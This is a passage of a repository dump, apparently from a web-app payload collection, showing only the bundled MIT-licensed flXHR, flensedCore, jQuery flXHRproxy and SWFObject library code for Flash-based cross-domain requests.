ag=0;ag=0){break}}}var af=h.createElement("script");af.setAttribute("src",y.base_path+ai);if(typeof ah!==z){af.setAttribute("type",ah)}if(typeof aj!==z){af.setAttribute("language",aj)}h.getElementsByTagName("head")[0].appendChild(af)}if((typeof ab!==z)&&(ab!==null)){if(!Q){var ac=0;for(var U=0;U=0)||((ac=ab[U].src.indexOf(G))>=0)){y.base_path=ab[U].src.substr(0,ac);break}}}}}try{y.checkplayer.module_ready()}catch(aa){Z(j,"text/javascript")}var ad=null;(function ae(){try{y.ua.pv.join(".")}catch(af){ad=w(arguments.callee,25);return}if(y.ua.win&&y.ua.ie){Z(P,"text/vbscript","vbscript")}y.binaryToString=function(aj,ai){ai=(((y.ua.win&&y.ua.ie)&&typeof ai!==z)?(!(!ai)):!(y.ua.win&&y.ua.ie));if(!ai){try{return flXHR_vb_BinaryToString(aj)}catch(al){}}var am=g,ah=[];try{for(var ak=0;ak0)){aH=H}if((typeof aR[D]!==z)&&(aR[D]!==null)){aK=aR[D]}if((typeof aR[C]!==z)&&(aR[C]!==null)){aD=aR[C]}if((typeof aR[M]!==z)&&(aR[M]!==null)){aO=aR[M]}}Y=S+"_"+aW;function a0(){f(af);try{E.detachEvent(e,a0)}catch(a3){}}try{E.attachEvent(e,a0)}catch(a1){}(function a2(){try{y.bindEvent(E,e,aI)}catch(a3){af=w(arguments.callee,25);return}a0();af=w(aT,1)})()}();function aT(){if(V===null){Q=h.getElementsByTagName("body")[0]}else{Q=y.getObjectById(V)}try{Q.nodeName.toLowerCase();y.checkplayer.module_ready();K=y.checkplayer}catch(a1){af=w(aT,25);return}if((q===null)&&(typeof K._ins===z)){try{q=new K(r.MIN_PLAYER_VERSION,aU,L,aq)}catch(a0){aP(r.DEPENDENCY_ERROR,"flXHR: checkplayer Init Failed","The initialization of the 'checkplayer' library failed to complete.");return}}else{q=K._ins;ag()}}function ag(){if(q===null||!q.checkPassed){af=w(ag,25);return}if(m===null&&V===null){y.createCSS("."+ae,"left:-1px;top:0px;width:1px;height:1px;position:absolute;");m=a}var a4=h.createElement(l);a4.id=Y;a4.className=ae;Q.appendChild(a4);Q=null;var a1={},a5={allowScriptAccess:"always"},a2={id:Y,name:Y,styleclass:ae},a3={swfCB:aS,swfEICheck:"reset"};try{q.DoSWF(y.base_path+A,Y,"1","1",a1,a5,a2,a3)}catch(a0){aP(r.DEPENDENCY_ERROR,"flXHR: checkplayer Call Failed","A call to the 'checkplayer' library failed to complete.");return}}function aS(a0){if(a0.status!==K.SWF_EI_READY){return}R();aV=y.getObjectById(Y);aV.setId(Y);if(T!==g){aV.loadPolicy(T)}aV.autoNoCacheHeader(au);aV.returnBinaryResponseBody(aC);aV.doOnReadyStateChange=al;aV.doOnError=aP;aV.sendProcessed=ap;aV.chunkResponse=ay;aM=0;ax();aX();if(typeof aK===k){try{aK(ak)}catch(a1){aP(r.HANDLER_ERROR,"flXHR::onreadystatechange(): Error","An error occurred in the handler function. ("+a1.message+")");return}}at()}function aI(){try{c.flensed.unbindEvent(E,e,aI)}catch(a3){}try{for(var a4=0;a40){aH=H}aK=ak[D];aD=ak[C];aO=ak[M];if(ak[I]!==null){if((ak[I]!==T)&&(aM>=0)){aV.loadPolicy(ak[I])}T=ak[I]}if(ak[b]!==null){if((ak[b]!==au)&&(aM>=0)){aV.autoNoCacheHeader(ak[b])}au=ak[b]}if(ak[d]!==null){if((ak[d]!==aC)&&(aM>=0)){aV.returnBinaryResponseBody(ak[d])}aC=ak[d]}if(aA!==null){aA=!(!ak[F])}}catch(a0){}}function aN(){am();try{aV.reset()}catch(a0){}aE=null;aw=null;ac=null;ao=null;aa=null;aL=null;aB=L;aX();T=g;ax()}function aU(a0){if(a0.checkPassed){ag()}else{if(!aJ){aP(r.PLAYER_VERSION_ERROR,"flXHR: Insufficient Flash Player Version","The Flash Player was either not detected, or the detected version ("+a0.playerVersionDetected+") was not at least the minimum version ("+r.MIN_PLAYER_VERSION+") needed by the 'flXHR' library.")}else{q.UpdatePlayer()}}}function aq(a0){if(a0.updateStatus===K.UPDATE_CANCELED){aP(r.PLAYER_VERSION_ERROR,"flXHR: Flash Player Update Canceled","The Flash Player was not updated.")}else{if(a0.updateStatus===K.UPDATE_FAILED){aP(r.PLAYER_VERSION_ERROR,"flXHR: Flash Player Update Failed","The Flash Player was either not detected or could not be updated.")}}}function ap(){if(aH!==null&&aH>0){X=w(W,aH)}}function am(){R();aQ();ax();aM=0;aF=0;try{aV.abort()}catch(a0){aP(r.CALL_ERROR,"flXHR::abort(): Failed","The abort() call failed to complete.")}aX()}function av(){ax();if(typeof arguments[0]===z||typeof arguments[1]===z){aP(r.CALL_ERROR,"flXHR::open(): Failed","The open() call requires 'method' and 'url' parameters.")}else{if(aM>0||aB){aN()}if(aF===0){al(1)}else{aM=1}var a7=arguments[0],a6=arguments[1],a5=(typeof arguments[2]!==z)?arguments[2]:a,ba=(typeof arguments[3]!==z)?arguments[3]:g,a9=(typeof arguments[4]!==z)?arguments[4]:g;try{aV.autoNoCacheHeader(au);aV.open(a7,a6,a5,ba,a9)}catch(a8){aP(r.CALL_ERROR,"flXHR::open(): Failed","The open() call failed to complete.")}}}function az(){ax();if(aM<=1&&!aB){var a1=(typeof arguments[0]!==z)?arguments[0]:g;if(aF===1){al(2)}else{aM=2}try{aV.autoNoCacheHeader(au);aV.send(a1)}catch(a2){aP(r.CALL_ERROR,"flXHR::send(): Failed","The send() call failed to complete.")}}else{aP(r.CALL_ERROR,"flXHR::send(): Failed","The send() call cannot be made at this time.")}}function aj(){ax();if(typeof arguments[0]===z||typeof arguments[1]===z){aP(r.CALL_ERROR,"flXHR::setRequestHeader(): Failed","The setRequestHeader() call requires 'name' and 'value' parameters.")}else{if(!aB){var a3=(typeof arguments[0]!==z)?arguments[0]:g,a2=(typeof arguments[1]!==z)?arguments[1]:g;try{aV.setRequestHeader(a3,a2)}catch(a4){aP(r.CALL_ERROR,"flXHR::setRequestHeader(): Failed","The setRequestHeader() call failed to complete.")}}}}function an(){ax();return g}function ar(){ax();return[]}ak={readyState:aF,responseBody:aa,responseText:ac,responseXML:ao,status:aE,statusText:aw,timeout:aH,open:function(){ax();if(ak[J]===0){ad(1)}if(!Z||aM<0){aZ(av,"open",arguments);return}av.apply({},arguments)},send:function(){ax();if(ak[J]===1){ad(2)}if(!Z||aM<0){aZ(az,"send",arguments);return}az.apply({},arguments)},abort:am,setRequestHeader:function(){ax();if(!Z||aM<0){aZ(aj,"setRequestHeader",arguments);return}aj.apply({},arguments)},getResponseHeader:an,getAllResponseHeaders:ar,onreadystatechange:aK,ontimeout:aO,instanceId:aY,loadPolicyURL:T,noCacheHeader:au,binaryResponseBody:aC,xmlResponseText:aA,onerror:aD,Configure:function(a0){if(typeof a0===o&&a0!==null){if((typeof a0[O]!==z)&&(a0[O]!==null)&&(a0[O]!==g)){aY=a0[O]}if(typeof a0[b]!==z){au=!(!a0[b]);if(aM>=0){aV.autoNoCacheHeader(au)}}if(typeof a0[d]!==z){aC=!(!a0[d]);if(aM>=0){aV.returnBinaryResponseBody(aC)}}if(typeof a0[F]!==z){aA=!(!a0[F])}if((typeof a0[D]!==z)&&(a0[D]!==null)){aK=a0[D]}if((typeof a0[C]!==z)&&(a0[C]!==null)){aD=a0[C]}if((typeof a0[M]!==z)&&(a0[M]!==null)){aO=a0[M]}if((typeof a0[p]!==z)&&((H=u(a0[p],10))>0)){aH=H}if((typeof a0[I]!==z)&&(a0[I]!==null)&&(a0[I]!==g)&&(a0[I]!==T)){T=a0[I];if(aM>=0){aV.loadPolicy(T)}}aX()}},Reset:aN,Destroy:aI};if(ab){i[i.length]=ak}return ak};r=y.flXHR;r.HANDLER_ERROR=10;r.CALL_ERROR=11;r.TIMEOUT_ERROR=12;r.DEPENDENCY_ERROR=13;r.PLAYER_VERSION_ERROR=14;r.SECURITY_ERROR=15;r.COMMUNICATION_ERROR=16;r.MIN_PLAYER_VERSION="9.0.124";r.module_ready=function(){}})(window); -------------------------------------------------------------------------------- /src/includes/swf/flXHR.swf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/EnableSecurity/Webapp-Exploit-Payloads/4413e6c79201149585448a980d1540211ee1ae90/src/includes/swf/flXHR.swf -------------------------------------------------------------------------------- /src/includes/swf/flXHR.vbs: -------------------------------------------------------------------------------- 1 | ' flXHR 1.0.5 (VB Binary Helpers) 2 | ' Copyright (c) 2008-2010 Kyle Simpson, Getify Solutions, Inc. 3 | ' This software is released under the MIT License 4 | ' 5 | ' ==================================================================================================== 6 | 7 | Function flXHR_vb_BinaryToString(obj) 8 | Dim I,S 9 | Dim J 10 | For I = 1 to LenB(obj) 11 | J = AscB(MidB(obj,I,1)) 12 | If J = 0 Then 13 | S = S & "" 14 | Else 15 | S = S & Chr(J) 16 | End If 17 | Next 18 | flXHR_vb_BinaryToString = S 19 | End Function 20 | 21 | Function flXHR_vb_SizeOfBytes(obj) 22 | Dim I 23 | I = LenB(obj) 24 | flXHR_vb_SizeOfBytes = I 25 | End Function 26 | 27 | Function flXHR_vb_StringToBinary(str) 28 | dim binobj 29 | dim ahex(),oparser,oelem 30 | redim ahex(len(str)-1) 31 | for i=0 to len(str)-1 32 | ahex(i)=right("00" & hex(asc(mid(str,i+1,1))),2) 33 | next 34 | set oparser=createobject("msxml2.domdocument") 35 | with oparser 36 | set oelem=.createElement("x") 37 | oelem.datatype="bin.hex" 38 | oelem.text=join(ahex,"") 39 | binobj=oelem.nodetypedvalue 40 | end with 41 | set oelem=nothing 42 | set oparser=nothing 43 | flXHR_vb_StringToBinary=binobj 44 | End Function 45 | -------------------------------------------------------------------------------- /src/includes/swf/flensed.js: -------------------------------------------------------------------------------- 1 | /* flensedCore 1.0 2 | Copyright (c) 2008 Kyle Simpson, Getify Solutions, Inc. 3 | This software is released under the MIT License 4 | 5 | ==================================================================================================== 6 | Portions of this code were extracted and/or derived from: 7 | 8 | SWFObject v2.1 & 2.2a8 9 | Copyright (c) 2007-2008 Geoff Stearns, Michael Williams, and Bobby van der Sluis 10 | This software is released under the MIT License 11 | */ 12 | (function(B){var H=B,L=B.document,N="undefined",M=true,C=false,E="",F="object",D="string",G=null,J=null,I=null,K=B.parseInt,A=B.setTimeout;if(typeof B.flensed===N){B.flensed={}}else{if(typeof B.flensed.ua!==N){return}}G=B.flensed;A(function(){var P="flensed.js",U=C,R=L.getElementsByTagName("script"),T=R.length;try{G.base_path.toLowerCase();U=M}catch(S){G.base_path=E}if((typeof R!==N)&&(R!==null)){if(!U){var O=0;for(var Q=0;Q=0){G.base_path=R[Q].src.substr(0,O);break}}}}}},0);G.parseXMLString=function(P){var O=null;if(H.ActiveXObject){O=new B.ActiveXObject("Microsoft.XMLDOM");O.async=C;O.loadXML(P)}else{var Q=new B.DOMParser();O=Q.parseFromString(P,"text/xml")}return O};G.getObjectById=function(O){try{if(L.layers){return L.layers[O]}else{if(L.all){return L.all[O]}else{if(L.getElementById){return L.getElementById(O)}}}}catch(P){}return null};G.createCSS=function(T,P,U,S){if(G.ua.ie&&G.ua.mac){return}var R=L.getElementsByTagName("head")[0];if(!R){return}var O=(U&&typeof U===D)?U:"screen";if(S){J=null;I=null}if(!J||I!==O){var Q=L.createElement("style");Q.setAttribute("type","text/css");Q.setAttribute("media",O);J=R.appendChild(Q);if(G.ua.ie&&G.ua.win&&typeof L.styleSheets!==N&&L.styleSheets.length>0){J=L.styleSheets[L.styleSheets.length-1]}I=O}if(G.ua.ie&&G.ua.win){if(J&&typeof J.addRule===F){J.addRule(T,P)}}else{if(J&&typeof L.createTextNode!==N){J.appendChild(L.createTextNode(T+" {"+P+"}"))}}};G.bindEvent=function(R,O,Q){O=O.toLowerCase();try{if(typeof R.addEventListener!==N){R.addEventListener(O.replace(/^on/,E),Q,C)}else{if(typeof R.attachEvent!==N){R.attachEvent(O,Q)}}}catch(P){}};G.unbindEvent=function(R,O,Q){O=O.toLowerCase();try{if(typeof R.removeEventListener!==N){R.removeEventListener(O.replace(/^on/,E),Q,C)}else{if(typeof R.detachEvent!==N){R.detachEvent(O,Q)}}}catch(P){}};G.throwUnhandledError=function(O){throw new B.Error(O)};G.error=function(R,P,Q,O){return{number:R,name:P,description:Q,message:Q,srcElement:O,toString:function(){return R+", "+P+", "+Q}}};G.ua=function(){var U="Shockwave Flash",O="ShockwaveFlash.ShockwaveFlash",Y="application/x-shockwave-flash",P=B.navigator,V=typeof L.getElementById!==N&&typeof L.getElementsByTagName!==N&&typeof L.createElement!==N,f=[0,0,0],X=null;if(typeof P.plugins!==N&&typeof P.plugins[U]===F){X=P.plugins[U].description;if(X&&!(typeof P.mimeTypes!==N&&P.mimeTypes[Y]&&!P.mimeTypes[Y].enabledPlugin)){X=X.replace(/^.*\s+(\S+\s+\S+$)/,"$1");f[0]=K(X.replace(/^(.*)\..*$/,"$1"),10);f[1]=K(X.replace(/^.*\.(.*)\s.*$/,"$1"),10);f[2]=/r/.test(X)?K(X.replace(/^.*r(.*)$/,"$1"),10):0}}else{if(typeof H.ActiveXObject!==N){try{var Z=new B.ActiveXObject(O);if(Z){X=Z.GetVariable("$version");if(X){X=X.split(" ")[1].split(",");f=[K(X[0],10),K(X[1],10),K(X[2],10)]}}}catch(T){}}}var e=P.userAgent.toLowerCase(),S=P.platform.toLowerCase(),c=/webkit/.test(e)?parseFloat(e.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):C,Q=C,R=0,b=S?/win/.test(S):/win/.test(e),W=S?/mac/.test(S):/mac/.test(e);/*@cc_on Q=M;try{R=K(e.match(/msie (\d+)/)[1],10);}catch(e2){}@if(@_win32)b=M;@elif(@_mac)W=M;@end @*/return{w3cdom:V,pv:f,webkit:c,ie:Q,ieVer:R,win:b,mac:W}}()})(window); 13 | -------------------------------------------------------------------------------- /src/includes/swf/jquery.flXHRproxy.js: -------------------------------------------------------------------------------- 1 | /* jQuery.flXHRproxy 2.0a 2 | Copyright (c) 2009-2011 Kyle Simpson 3 | Contributions by Julian Aubourg 4 | This software is released under the MIT License 5 | 6 | This plugin causes jQuery to treat flXHR as an XHR object, as a replacement of the native XHR, additionally 7 | allowing authorized cross-domain communication through flash's crossdomain.xml policy model. 8 | 9 | This plugin allows an author to register a set of flXHR configuration options to be tied to each URL 10 | that will be communicated with. Typical usage might be: 11 | 12 | jQuery.flXHRproxy.registerOptions('http://www.mydomain.com/',{xmlResponseText:false...}); 13 | jQuery.flXHRproxy.registerOptions('http://rss.mydomain.com/',{xmlResponseText:true...}); 14 | ... 15 | jQuery.ajax({url:'http://www.mydomain.com/something.html'...}); 16 | ... 17 | jQuery.ajax({url:'http://rss.mydomain.com/feed.html'...}); 18 | 19 | */ 20 | 21 | ;(function($){ 22 | $.flXHRproxy = flensed.flXHR; // make jQuery.flXHRproxy a reference alias to flensed.flXHR, for convenience 23 | 24 | var _opts = [], 25 | r_type = /^(?:post|get)$/i, 26 | defaultOptions = { 27 | instancePooling: true, 28 | autoUpdatePlayer: true 29 | } 30 | ; 31 | 32 | $.flXHRproxy.registerOptions = function(url,fopts) { // call to define a set of flXHR options to be applied to a 33 | // matching request URL 34 | fopts = $.extend( {}, defaultOptions, fopts || {} ); 35 | 36 | _opts.push(function(callUrl) { // save this set of options with a matching function for the target URL 37 | if (callUrl.substring(0,url.length)===url) return fopts; 38 | }); 39 | }; 40 | 41 | // Prefilter to control if we need to use flXHR 42 | $.ajaxPrefilter(function( as ) { 43 | var useopts, tmp; 44 | if ( as.async && r_type.test( as.type ) ) { 45 | for (var i=0; i<_opts.length; i++) { // loop through all registered options for flXHR 46 | if (tmp = _opts[i](as.url)) useopts = tmp; // if URL match is found, use those flXHR options 47 | } 48 | 49 | // Use flXHR if we have options OR if said to do so 50 | // with the explicit as.flXHR option 51 | if ( useopts || as.flXHR ) { 52 | as.flXHROptions = useopts || defaultOptions; 53 | // Derail the transport selection 54 | return "__flxhr__"; 55 | } 56 | } 57 | }); 58 | 59 | // flXHR transport 60 | $.ajaxTransport( "__flxhr__", function( as, _, jqXHR ) { 61 | // Remove the fake dataType 62 | as.dataTypes.shift(); 63 | // Make sure it won't be trigerred for async requests 64 | // if the dataType is set manually (users can be crazy) 65 | if ( !as.async ) { 66 | return; 67 | } 68 | // The flXHR instance 69 | var callback; 70 | // The transport 71 | return { 72 | send: function( headers, complete ) { 73 | var options = as.flXHROptions || defaultOptions, 74 | xhr = jqXHR.__flXHR__ = new $.flXHRproxy( options ), 75 | isError; 76 | // Define callback 77 | callback = function( status, error ) { 78 | if ( callback && ( error || xhr.readyState === 4 ) ) { 79 | callback = xhr.onreadystatechange = xhr.onerror = null; 80 | if ( error ) { 81 | if (! ( isError = ( error !== "abort" ) ) ) { 82 | xhr.abort(); 83 | } 84 | complete( status, error ); 85 | } else { 86 | var responses = {}, 87 | responseXML = xhr.responseXML; 88 | if ( responseXML && responseXML.documentElement ) { 89 | responses.xml = responseXML; 90 | } 91 | responses.text = xhr.responseText; 92 | complete( xhr.status, xhr.statusText, responses, xhr.getAllResponseHeaders() ); 93 | } 94 | } 95 | }; 96 | // Attach onerror handler 97 | if ( $.isFunction( options.onerror ) ) { 98 | jqXHR.fail(function() { 99 | if ( isError ) { 100 | options.onerror.apply( this, arguments ); 101 | } 102 | }); 103 | } 104 | // Attach xhr handlers 105 | xhr.onreadystatechange = callback; 106 | xhr.onerror = function( flXHR_errorObj ) { 107 | complete( -1, flXHR_errorObj ); 108 | }; 109 | // Issue the request 110 | xhr.open( as.type, as.url, as.async, as.username, as.password ); 111 | for ( var i in headers ) { 112 | xhr.setRequestHeader( i, headers[ i ] ); 113 | } 114 | xhr.send( ( as.hasContent && as.data ) || null ); 115 | }, 116 | abort: function() { 117 | if ( callback ) { 118 | callback( 0, "abort" ); 119 | } 120 | } 121 | }; 122 | }); 123 | 124 | })(jQuery); 125 | 126 | -------------------------------------------------------------------------------- /src/includes/swf/swfobject.js: -------------------------------------------------------------------------------- 1 | /* SWFObject v2.1 2 | Copyright (c) 2007-2008 Geoff Stearns, Michael Williams, and Bobby van der Sluis 3 | This software is released under the MIT License 4 | */ 5 | var swfobject=function(){var b="undefined",Q="object",n="Shockwave Flash",p="ShockwaveFlash.ShockwaveFlash",P="application/x-shockwave-flash",m="SWFObjectExprInst",j=window,K=document,T=navigator,o=[],N=[],i=[],d=[],J,Z=null,M=null,l=null,e=false,A=false;var h=function(){var v=typeof K.getElementById!=b&&typeof K.getElementsByTagName!=b&&typeof K.createElement!=b,AC=[0,0,0],x=null;if(typeof T.plugins!=b&&typeof T.plugins[n]==Q){x=T.plugins[n].description;if(x&&!(typeof T.mimeTypes!=b&&T.mimeTypes[P]&&!T.mimeTypes[P].enabledPlugin)){x=x.replace(/^.*\s+(\S+\s+\S+$)/,"$1");AC[0]=parseInt(x.replace(/^(.*)\..*$/,"$1"),10);AC[1]=parseInt(x.replace(/^.*\.(.*)\s.*$/,"$1"),10);AC[2]=/r/.test(x)?parseInt(x.replace(/^.*r(.*)$/,"$1"),10):0}}else{if(typeof j.ActiveXObject!=b){var y=null,AB=false;try{y=new ActiveXObject(p+".7")}catch(t){try{y=new ActiveXObject(p+".6");AC=[6,0,21];y.AllowScriptAccess="always"}catch(t){if(AC[0]==6){AB=true}}if(!AB){try{y=new ActiveXObject(p)}catch(t){}}}if(!AB&&y){try{x=y.GetVariable("$version");if(x){x=x.split(" ")[1].split(",");AC=[parseInt(x[0],10),parseInt(x[1],10),parseInt(x[2],10)]}}catch(t){}}}}var AD=T.userAgent.toLowerCase(),r=T.platform.toLowerCase(),AA=/webkit/.test(AD)?parseFloat(AD.replace(/^.*webkit\/(\d+(\.\d+)?).*$/,"$1")):false,q=false,z=r?/win/.test(r):/win/.test(AD),w=r?/mac/.test(r):/mac/.test(AD);/*@cc_on q=true;@if(@_win32)z=true;@elif(@_mac)w=true;@end@*/return{w3cdom:v,pv:AC,webkit:AA,ie:q,win:z,mac:w}}();var L=function(){if(!h.w3cdom){return }f(H);if(h.ie&&h.win){try{K.write("